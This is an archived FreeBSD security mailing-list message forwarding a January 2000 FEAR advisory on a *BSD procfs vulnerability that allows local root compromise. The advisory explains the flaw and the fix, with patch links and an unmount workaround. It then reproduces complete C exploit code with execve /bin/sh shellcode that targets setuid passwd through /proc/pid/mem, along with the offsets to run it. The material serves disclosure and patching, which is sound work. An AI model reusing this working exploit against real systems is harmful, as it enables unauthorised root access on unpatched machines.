Skip site navigation (1)Skip section navigation (2)
Date:      Sun, 23 Jan 2000 18:13:51 -0600
From:      Tim Yardley <yardley@uiuc.edu>
To:        freebsd-security@FreeBSD.ORG
Subject:   Fwd: *BSD procfs vulnerability
Message-ID:  <4.2.0.58.20000123181240.0144ef10@students.uiuc.edu>

next in thread | raw e-mail | index | archive | help
i would hope this is getting looked into...

>Approved-By: aleph1@SECURITYFOCUS.COM
>Delivered-To: bugtraq@lists.securityfocus.com
>Delivered-To: bugtraq@securityfocus.com
>Date:         Fri, 21 Jan 2000 22:10:06 +0200
>Reply-To: FEAR Advisories <fear-adv@FEAR.COM.PL>
>Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
>From: FEAR Advisories <fear-adv@FEAR.COM.PL>
>Subject:      *BSD procfs vulnerability
>X-To:         bugtraq@securityfocus.com
>To: BUGTRAQ@SECURITYFOCUS.COM
>
>/* note for the moderator - this is a resend. If you have received the
>previous copy, pls disregard this message; otherwise, pls remove this
>comment before sending it to the list */
>                         Fast Emergency AVET Response
>                              SECURITY ADVISORY
>                                 January 2000
>                                  FEAR ID: 1
>                          *BSD procfs vulnerability
>
>==============================================================================
>
>PROBLEM DESCRIPTION
>
>     In January 1997 a fatal flaw in *BSD procfs code (leading to a local root
>compromise) was discussed on various security forums. The exploit code
>dealt with /proc/pid/mem interface. Since then *BSD kernels contained a
>simple fix which was meant to close this hole.
>     Unfortunately, throughout these three years it was still possible to
>abuse /proc/pid/mem in a symilar, though more complicated fashion, which
>could lead to local root compromise.
>
>==============================================================================
>
>VULNERABLE PLATFORMS
>
>     The bug is present in kernels used in current (and almost any older)
>FreeBSD and OpenBSD distributions. In order to make this flaw exploitable,
>procfs filesystem must be mounted. In default FreeBSD 3.3 installation,
>procfs IS mounted; in default OpenBSD 2.6 installation, it is NOT. Note that
>administrators often mount procfs filesystem for its benefits.
>
>==============================================================================
>
>TECHNICAL DETAILS
>
>     The procfs exploit code from 1997 was straightforward. An unpriviledged
>process A forks off a process B. A opens /proc/pid-of-B/mem. B execs a
>setuid binary. Though now B has a different euid than A, A is still able to
>control B's memory via /proc/pid-of-B/mem descriptor. Therefore A can change
>B's flow of execution in an arbitrary way.
>     In order to stop this exploit, an additional check was added to the code
>responsible for I/O on file descriptors referring to procfs pseudofiles. In
>miscfs/procfs/procfs.h (from FreeBSD 3.0) we read:
>/*
>  * Check to see whether access to target process is allowed
>  * Evaluates to 1 if access is allowed.
>  */
>#define CHECKIO(p1, p2) \
>      ((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) && \
>        ((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) && \
>        ((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) && \
>        ((p2)->p_flag & P_SUGID) == 0) || \
>       (suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0))
>
>     As we see, process performing I/O (p1) must have the same uids as target
>process (p2), unless... p1 has root priviledges. So, if we can trick a
>setuid program X into writing to a file descriptor F referring to a procfs
>object, the above check will not prevent X from writing. As some of readers
>certainly already have guessed, F's number will be 2, stderr fileno... We
>can pass to a setuid program an appropriately lseeked file descriptor no 2
>(pointing to some /proc/pid/mem), and this program will blindly write there
>error messages. Such output is often partially controllable (e.g. contains
>program's name), so we can write almost arbitrary data onto other setuid
>program's memory.
>     This scenario looks similar to
>  ' close(fileno(stderr)); execl("setuid-program",...) '
>exploits, but in fact differs profoundly. It exploits the fact that the
>properties of a fd pointing into procfs is not determined fully by "open"
>syscall (all other fd are; skipping issues related to securelevels). These
>properties can change because of priviledged code execution. As a result,
>(priviledged) children of some process P can inherit a fd opened read-write,
>though P can't directly gain such fd via open syscall.
>     The attached sample exploit (for Intel platform) code runs
>/usr/bin/passwd, but almost any setuid program can be used. This code was
>tested on FreeBSD 2.8, 3.0 and 3.3 as well as on OpenBSD 2.4, 2.5 and 2.6.
>The code overwrites stack with addresses of a shellcode, which is placed in
>an environment variable. The code is a bit crude, but there were some obscure
>problems with building a working exploit. It requires two arguments: an 
>offset from the current stack
>pointer and an offset from default shellcode position.
>/procfs_exp -4000 -10000
>worked for all tested platforms. Having seen "#" prompt, one should probably
>issue "stty sane" command to clean tty state. On OpenBSD, having gained root
>prompt one should remove /etc/ptmp file.
>
>==============================================================================
>
>SOLUTION
>
>     Linux also features proc filesystem with symilar functionality, but it is
>not vulnerable to this exploit. That is so because on Linux if a process p1
>wishes to alter the memory of process p2 via /proc/pid-of-p2/mem, p2 must be
>traced by p1 (moreover, mem_write function is currently defined as NULL, so
>/proc/pid/mem can be altered only with use of mmap; irrelevant here). It may
>be tempting to impose symilar restriction in *BSD kernels. However, on *BSD
>a process p1 can attach p2 for tracing merely by writing to
>/proc/pid-of-p2/ctl file; as we have just seen it is possible to force a
>setuid program to write arbitrary strings to /proc files.
>     The solution (by deraadt) is to add a certain check in execve syscall. If
>a process X tries to exec a setuid binary, we make sure it holds no open
>descriptors pointing into procfs filesystem.
>     Patches are available on
>http://www.openbsd.org/errata.html#procfs
>ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:02/procfs.patch
>     As a workaround, it is enough to umount /proc and comment it out from
>/etc/fstab.
>
>==============================================================================
>
>CREDITS
>
>   The discovery of this vulnerability, as well as the sample exploit, was
>done by Rafal Wojtczuk <nergal@avet.com.pl>;
>   deraadt for discarding our original idea of the fix because of its
>inefficiency and finding a better one;
>   deraadt@openbsd.org and security-officer@freebsd.org for immediate
>response and supplying patches for their systems.
>Other FEAR security materials can be found at :
>http://www.fear.pl
>
>==============================================================================
>
>EXPLOIT CODE
>/* by Nergal */
>#include <errno.h>
>#include <signal.h>
>#include <stdio.h>
>#include <stdlib.h>
>#include <unistd.h>
>#include <fcntl.h>
>#include <string.h>
>#include <signal.h>
>#include <sys/wait.h>
>
>char            shellcode[] =
>"\xeb\x0a\x62\x79\x20\x4e\x65\x72\x67\x61\x6c\x20"
>"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
>"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
>"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
>"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04\x00";
>
>#define PASSWD "./passwd"
>void
>sg(int x)
>{
>}
>int
>main(int argc, char **argv)
>{
>         unsigned int stack, shaddr;
>         int             pid,schild;
>         int             fd;
>         char            buff[40];
>         unsigned int    status;
>         char            *ptr;
>         char            name[4096];
>         char            sc[4096];
>         char            signature[] = "signature";
>
>         signal(SIGUSR1, sg);
>if (symlink("usr/bin/passwd",PASSWD) && errno!=EEXIST)
>{
>perror("creating symlink:");
>exit(1);
>}
>         shaddr=(unsigned int)&shaddr;
>         stack=shaddr-2048;
>         if (argc>1)
>         shaddr+=atoi(argv[1]);
>         if (argc>2)
>         stack+=atoi(argv[2]);
>         fprintf(stderr,"shellcode addr=0x%x stack=0x%x\n",shaddr,stack);
>         fprintf(stderr,"Wait for \"Press return\" prompt:\n");
>         memset(sc, 0x90, sizeof(sc));
>         strncpy(sc+sizeof(sc)-strlen(shellcode)-1, 
> shellcode,strlen(shellcode));
>         strncpy(sc,"EGG=",4);
>memset(name,'x',sizeof(name));
>         for (ptr = name; ptr < name + sizeof(name); ptr += 4)
>                 *(unsigned int *) ptr = shaddr;
>         name[sizeof(name) - 1] = 0;
>
>         pid = fork();
>         switch (pid) {
>         case -1:
>                 perror("fork");
>                 exit(1);
>         case 0:
>                 pid = getppid();
>                 sprintf(buff, "/proc/%d/mem", pid);
>                 fd = open(buff, O_RDWR);
>                 if (fd < 0) {
>                         perror("open procmem");
>                         wait(NULL);
>                         exit(1);
>                 }
>                 /* wait for child to execute suid program */
>                 kill(pid, SIGUSR1);
>                 do {
>                         lseek(fd, (unsigned int) signature, SEEK_SET);
>                 } while
>                         (read(fd, buff, sizeof(signature)) == 
> sizeof(signature) &&
>                         !strncmp(buff, signature, sizeof(signature)));
>                 lseek(fd, stack, SEEK_SET);
>                 switch (schild = fork()) {
>                 case -1:
>                         perror("fork2");
>                         exit(1);
>                 case 0:
>
>                         dup2(fd, 2);
>                         sleep(2);
>                         execl(PASSWD, name, "blahblah", 0);
>                         printf("execl failed\n");
>                         exit(1);
>                 default:
>                         waitpid(schild, &status, 0);
>                 }
>                 fprintf(stderr, "\nPress return.\n");
>                 exit(1);
>         default:
>                 /* give parent time to open /proc/pid/mem */
>                 pause();
>                 putenv(sc);
>                 execl(PASSWD, "passwd", NULL);
>                 perror("execl");
>                 exit(0);
>
>         }
>}


-- Diving into infinity my consciousness expands in inverse
    proportion to my distance from singularity

+--------  -------  ------  -----  ---- --- -- ------ --------+
|  Tim Yardley (yardley@uiuc.edu)	
|  http://www.students.uiuc.edu/~yardley/
+--------  -------  ------  -----  ---- --- -- ------ --------+




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?4.2.0.58.20000123181240.0144ef10>